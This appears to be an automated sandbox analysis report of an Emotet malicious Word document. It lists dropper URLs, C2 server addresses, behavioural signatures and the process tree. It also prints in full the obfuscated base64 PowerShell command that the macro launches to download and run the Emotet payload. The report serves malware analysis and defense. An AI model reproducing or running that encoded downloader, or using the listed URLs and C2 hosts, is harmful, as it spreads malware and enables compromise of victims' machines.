Analysis

  • max time kernel
    141s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    16/09/2020, 12:28

General

  • Target
    emotet_e1_9f37f633d32573f331d84cdd6f9b3dd9d16f19f76eabd14880f309a6cab2ee54_2020-09-16__122551._doc.doc
  • Size 194KB
  • Sample200916-3vsfv7ap22
  • SHA256 9f37f633d32573f331d84cdd6f9b3dd9d16f19f76eabd14880f309a6cab2ee54
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://boys86.com/wp-admin/mO/

  • exe.dropper

    http://dacyclin.com/3qx/Z/

  • exe.dropper

    https://fepami.com/wp-includes/oRT/

  • exe.dropper

    https://xnxxfullhd.com/wp-admin/NAK/

  • exe.dropper

    https://www.business-management-degree.net/wp-snapshots/W/

  • exe.dropper

    http://homestay.design/wordpress/M/

  • exe.dropper

    https://csc-comunity.com/wp-admin/6DW/

Extracted

Family
  • emotet

C2
  • 174.113.69.136:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 190.115.18.139:8080

  • 98.13.75.196:80

  • 181.30.61.163:443

  • 82.76.111.249:443

  • 181.129.96.162:8080

  • 74.58.215.226:80

  • 68.69.155.181:80

  • 188.135.15.49:80

  • 190.163.31.26:80

  • 50.121.220.50:80

  • 51.159.23.217:443

  • 2.47.112.152:80

  • 185.215.227.107:443

  • 217.13.106.14:8080

  • 70.32.115.157:8080

  • 170.81.48.2:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_9f37f633d32573f331d84cdd6f9b3dd9d16f19f76eabd14880f309a6cab2ee54_2020-09-16__122551._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1520
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABNAHEAdgBiADUAZQByAD0AKAAoACcATwAnACsAJwBxAHIAZABfACcAKQArACcAMQAnACsAJwB2ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAUgBwAHIAbwBmAGkATABFAFwARgBZADYAaQBSAF8AdwBcAGIARAA4AEoAXwA0ADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBJAHQAWQBwAFIATwBgAFQAbwBDAGAATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKwAnACwAJwApACsAJwAgAHQAJwArACcAbAAnACsAKAAnAHMAMQAnACsAJwAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEMAZABuAGsAagB3AGEAIAA9ACAAKAAoACcARQAwACcAKwAnAGMANgB2ACcAKQArACcAZwBnACcAKQA7ACQAQQBwADMAdwA4ADkAOQA9ACgAKAAnAEoAJwArACcAMQA0ACcAKQArACcANABiACcAKwAnADAAeQAnACkAOwAkAEcAeABqADUAMQA1AGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ARgAnACsAJwB5ACcAKwAnADYAaQAnACsAJwByAF8AdwB7ADAAfQBCACcAKwAoACcAZAA4AGoAXwA0ACcAKwAnADEAJwApACsAJwB7ADAAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAEMAZABuAGsAagB3AGEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEUAbwB5AGIAdABzADYAPQAoACgAJwBOACcAKwAnAHIAZABhADEANwAnACkAKwAnAGMAJwApADsAJABDADcAZQA0AHkAZAA5AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcAZQBiAGMATABpAGUAbgBUADsAJABHADIAbgB2AGgAbQBfAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvACcAKwAnAC8AYgBvACcAKQArACcAeQBzACcAKwAoACcAOAA2AC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAJwArACcAbgAvAG0AJwApACsAKAAnAE8ALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnAGQAYQBjACcAKwAnAHkAJwArACcAYwAnACsAJwBsAGkAbgAuAGMAbwBtAC8AMwAnACsAJwBxAHgAJwArACcALwAnACkAKwAnAFoAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACgAJwAvAC8AZgBlACcAKwAnAHAAJwApACsAKAAnAGEAJwArACcAbQBpAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGkAbgBjAGwAdQAnACsAJwBkACcAKQArACgAJwBlAHMALwBvAFIAVAAvACcAKwAnACoAaAAnACsAJwB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHgAbgAnACsAKAAnAHgAJwArACcAeABmACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAbABoACcAKQArACgAJwBkACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcATgAnACsAJwBBACcAKwAnAEsALwAqAGgAdAB0AHAAcwAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AJwArACgAJwBiACcAKwAnAHUAcwBpACcAKQArACcAbgAnACsAKAAnAGUAcwBzACcAKwAnAC0AJwApACsAKAAnAG0AJwArACcAYQBuACcAKwAnAGEAZwBlAG0AZQBuAHQALQBkACcAKwAnAGUAZwAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAKAAnAC4AJwArACcAbgBlACcAKQArACgAJwB0AC8AdwAnACsAJwBwAC0AJwApACsAKAAnAHMAbgAnACsAJwBhACcAKQArACgAJwBwACcAKwAnAHMAaABvAHQAcwAvAFcAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBoAG8AbQBlAHMAdABhAHkAJwArACcALgAnACsAJwBkACcAKQArACcAZQBzACcAKwAnAGkAJwArACcAZwAnACsAJwBuACcAKwAnAC8AJwArACcAdwAnACsAKAAnAG8AcgBkACcAKwAnAHAAJwArACcAcgBlAHMAcwAvAE0AJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBjACcAKwAnAHMAJwApACsAKAAnAGMALQBjAG8AJwArACcAbQB1AG4AJwArACcAaQAnACsAJwB0AHkALgAnACkAKwAoACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwApACsAJwA2ACcAKwAoACcARAAnACsAJwBXAC8AJwApACkALgAiAFMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBtAGEAcABuADcAdAA9ACgAJwBOACcAKwAoACcAZgAyAGsAOAA0ACcAKwAnAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGcAcgBrAHMAcQBvACAAaQBuACAAJABHADIAbgB2AGgAbQBfACkAewB0AHIAeQB7ACQAQwA3AGUANAB5AGQAOQAuACIAZABvAGAAVwBuAGAATABPAEEAZABGAEkAYABMAEUAIgAoACQAQgBnAHIAawBzAHEAbwAsACAAJABHAHgAagA1ADEANQBoACkAOwAkAEgAMAB5AGcAcwBmADEAPQAoACgAJwBPACcAKwAnAHAAZABxACcAKQArACgAJwA2ADgAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAHgAagA1ADEANQBoACkALgAiAGwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMgA5ADUAMgA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEcAeABqADUAMQA1AGgAKQA7ACQATgB0AHoAMABqADEAbAA9ACgAKAAnAEIAJwArACcAdABuACcAKQArACgAJwAyAHYAcQAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABYADEAMgBpADcANABlAD0AKAAoACcATQA2ADAAJwArACcANABjACcAKQArACcAMwAnACsAJwB3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwB4AG8AagAxAGkAYgA9ACgAKAAnAEoAbAAnACsAJwBxACcAKQArACgAJwB3AG0AJwArACcAMwBfACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Users\Admin\Fy6ir_w\Bd8j_41\E0c6vgg.exe
      "C:\Users\Admin\Fy6ir_w\Bd8j_41\E0c6vgg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3716
      • C:\Windows\SysWOW64\SyncHostps\Windows.Payments.exe
        "C:\Windows\SysWOW64\SyncHostps\Windows.Payments.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1100

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1100-19-0x0000000000B40000-0x0000000000B50000-memory.dmp

        memory/1100-18-0x0000000000B60000-0x0000000000B72000-memory.dmp

        memory/1520-2-0x00000269E7D72000-0x00000269E7D85000-memory.dmp

        memory/1520-0-0x00007FF95C850000-0x00007FF95CF16000-memory.dmp

        memory/3116-9-0x0000027A5C780000-0x0000027A5C781000-memory.dmp

        memory/3116-10-0x0000027A5CA60000-0x0000027A5CA61000-memory.dmp

        memory/3116-8-0x00007FF955310000-0x00007FF955CFC000-memory.dmp

        memory/3716-15-0x0000000000760000-0x0000000000770000-memory.dmp

        memory/3716-14-0x0000000000740000-0x0000000000752000-memory.dmp